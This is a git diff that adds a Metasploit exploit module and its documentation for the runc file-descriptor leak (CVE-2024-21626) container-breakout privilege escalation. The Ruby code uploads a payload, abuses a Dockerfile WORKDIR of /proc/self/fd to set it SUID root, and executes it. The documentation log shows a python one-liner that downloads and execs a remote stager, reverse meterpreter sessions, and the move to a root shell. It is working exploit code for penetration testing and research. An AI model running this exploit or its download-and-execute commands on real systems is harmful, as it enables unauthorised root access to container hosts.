diff --git a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md new file mode 100644 index 000000000000..d3af51c51173 --- /dev/null +++ b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md @@ -0,0 +1,119 @@ +## Vulnerable Application + +All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, +and Kubernetes are vulnerable to an arbitrary file write. +Due to a file descriptor leak it is possible to mount the host file system +with the permissions of runc (typically root). + +Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Get an initial session +1. Do: `use exploit/linux/local/runc_cwd_priv_esc` +1. Do: `set session [session]` +1. Do: `run` +1. You should get a root shell. + +## Options + +## DOCKERIMAGE + +A docker image to use, docker image must have linux commands +available (`scratch` won't work). Defaults to `alpine:latest` + +## FILEDESCRIPTOR + +The file descriptor to use, typically `7` or `8`. Defaults to `8` + +### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04 + +Get an initial shell + +``` +user@userubuntu22:~/metasploit-framework$ ./msfconsole -qr runc.rb +[*] Processing runc.rb for ERB directives. +resource (runc.rb)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (runc.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (runc.rb)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Server started. +[*] Run the following command on the target machine: +python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/v5IbTIj', context=ssl._create_unverified_context());exec(r.read());" +[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes) +[*] Sending stage (24768 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000 +msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: user +meterpreter > sysinfo +Computer : userubuntu22 +OS : Linux 5.19.0-43-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 22 13:39:36 UTC 2 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > background +[*] Backgrounding session 1... +``` + +Priv Esc + +``` +resource (runc.rb)> use exploit/linux/local/runc_cwd_priv_esc +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +resource (runc.rb)> set lhost 1.1.1.1 +[*] Using URL: http://1.1.1.1:8080/v5IbTIj +lhost => 1.1.1.1 +resource (runc.rb)> set session 1 +session => 1 +resource (runc.rb)> set lport 9876 +lport => 9876 +msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true +verbose => true +msf6 exploit(linux/local/runc_cwd_priv_esc) > run + +[*] Started reverse TCP handler on 1.1.1.1:9876 +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: python +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1~22.04.1 detected +[*] Creating directory /tmp/.HdUvYm3 +[*] /tmp/.HdUvYm3 created +[*] Uploading Payload to /tmp/.HdUvYm3/.OiGEedVKP +[*] Uploading Dockerfile to /tmp/.HdUvYm3/Dockerfile +[*] Building from Dockerfile to set our payload permissions +[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release. +[*] Install the buildx component to build images with BuildKit: +[*] https://docs.docker.com/go/buildx/ +[*] +[*] Sending build context to Docker daemon 3.072kB +[*] Step 1/3 : FROM alpine:latest +[*] ---> 05455a08881e +[*] Step 2/3 : WORKDIR /proc/self/fd/8 +[*] ---> Using cache +[*] ---> f73c936557f3 +[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 4777 tmp/.HdUvYm3 && chown -R root:root tmp/.HdUvYm3 && chmod u+s tmp/.HdUvYm3/.OiGEedVKP +[*] ---> Running in c4afc663c2bc +[*] Removing intermediate container c4afc663c2bc +[*] ---> b490ec709420 +[*] Successfully built b490ec709420 +[*] Executing payload +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 1.1.1.1 +[+] Deleted /tmp/.HdUvYm3 +[*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000 +[-] run: Interrupted +msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/runc_cwd_priv_esc.rb b/modules/exploits/linux/local/runc_cwd_priv_esc.rb new file mode 100644 index 000000000000..f1af74fc9ca0 --- /dev/null +++ b/modules/exploits/linux/local/runc_cwd_priv_esc.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation', + 'Description' => %q{ + All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, + and Kubernetes are vulnerable to an arbitrary file write. + Due to a file descriptor leak it is possible to mount the host file system + with the permissions of runc (typically root). + + Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Rory McNamara' # Discovery + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'], + [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'], + [ 'CVE', '2024-21626'] + ], + 'DisclosureDate' => '2024-01-31', + 'DefaultTarget' => 0, + 'Notes' => { + 'AKA' => ['Leaky Vessels'], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + }, + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'MeterpreterTryToFork' => true + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), + OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]), + OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]), + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + sys_info = get_sysinfo + + unless sys_info[:distro] == 'ubuntu' + return CheckCode::Safe('Check method only available for Ubuntu systems') + end + + return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc') + + # Check the app is installed and the version, debian based example + package = cmd_exec('runc --version') + package = package.split[2] # runc, version, + + if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2 + package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched + package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched + return CheckCode::Appears("Vulnerable runc version #{package} detected") + end + + unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln + return CheckCode::Appears("Vulnerable runc version #{package} detected") + end + + CheckCode::Safe("runc #{package} is not vulnerable") + end + + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # create directory to write all our files to + dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + mkdir(dir) + register_dirs_for_cleanup(dir) + + # Upload payload executable + payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}" + vprint_status("Uploading Payload to #{payload_path}") + write_file(payload_path, generate_payload_exe) + register_file_for_cleanup(payload_path) + + # write docker file + vprint_status("Uploading Dockerfile to #{dir}/Dockerfile") + dockerfile = %(FROM #{datastore['DOCKERIMAGE']} + WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']} + RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} ) + write_file("#{dir}/Dockerfile", dockerfile) + register_file_for_cleanup("#{dir}/Dockerfile") + + print_status('Building from Dockerfile to set our payload permissions') + output = cmd_exec "cd #{dir} && docker build ." + output.each_line { |line| vprint_status line.chomp } + + # delete our docker image + if output =~ /Successfully built ([a-z0-9]+)$/ + print_status("Removing created docker image #{Regexp.last_match(1)}") + output = cmd_exec "docker image rm #{Regexp.last_match(1)}" + output.each_line { |line| vprint_status line.chomp } + end + + fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory" + fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path + + print_status("Payload permissions set, executing payload (#{payload_path})...") + cmd_exec "#{payload_path} &" + end +end